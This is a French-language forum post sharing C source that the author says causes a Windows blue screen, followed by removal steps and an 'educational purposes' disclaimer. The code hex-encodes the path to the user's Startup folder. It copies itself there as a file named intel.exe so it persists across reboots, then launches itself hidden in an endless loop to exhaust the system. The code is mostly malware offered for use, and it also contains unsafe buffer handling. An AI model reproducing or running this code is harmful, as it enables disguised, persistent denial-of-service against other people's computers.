 |
|
Page 1 sur 1
|
Voir le sujet précédent :: Voir le sujet suivant |
Auteur |
Message |
Posté le: Jeu Déc 25, 2014 5:17 pm Sujet du message: code source générant un écran bleu |
|
|
SLIMMANU
Projets

Inscrit le: 24 Déc 2014
Messages: 4
|
Dans cette source ,
Je montre comment je génère un écran bleu avec du code écrit en C:
 |
 |
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <conio.h>
int main(int argc, char *argv[], char *arge[])
{
char d1[] = "\x43\x3a\x2f\x55\x73\x65\x72\x73\x2f";
char d2[500];
strcpy(d2, getenv("USERNAME"));
char d3[] = "\x2f\x41\x70\x70\x44\x61\x74\x61\x2f\x52\x6f\x61\x6d\x69\x6e\x67\x2f\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2f\x57\x69\x6e\x64\x6f\x77\x73\x2f\x53\x74\x61\x72\x74\x20\x4d\x65\x6e\x75\x2f\x50\x72\x6f\x67\x72\x61\x6d\x73\x2f\x53\x74\x61\x72\x74\x75\x70";
char big[9999] ;
strcat(big,d1);
strcat(big,d2);
strcat(big,d3);
strcat(big,"/\x69\x6e\x74\x65\x6c\x2e\x65\x78\x65");
FILE *niche =fopen(big,"r");
if (niche != NULL)
{
while(1)
ShellExecute(NULL,NULL,big,NULL,SW_HIDE);
}else{
CopyFile(argv[0],big,1);
while(1)
ShellExecute(NULL,NULL,big,NULL,SW_HIDE);
}
fclose(niche);
getch();
return 0;
}
|
Pour arreter l'écran bleu , demarrer la machine en mode "Sans echec" , ensuite , se rendre dans le dossier :[/b] C:\Users\votre nom utilisateur\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup et supprimer le fichier intel.exe et c'est tout , redémarrer la machine , elle fonctionne correctement
Si vous avez des critiques et ou conseils à m'indiquer , n'hésitez pas.
Je rappelle que je publie cette source juste à des fins éducatives |
|
|
|
 |
|
 |
|
Page 1 sur 1
|
|
Vous ne pouvez pas poster de nouveaux sujets dans ce forum Vous ne pouvez pas répondre aux sujets dans ce forum Vous ne pouvez pas éditer vos messages dans ce forum Vous ne pouvez pas supprimer vos messages dans ce forum Vous ne pouvez pas voter dans les sondages de ce forum
|
|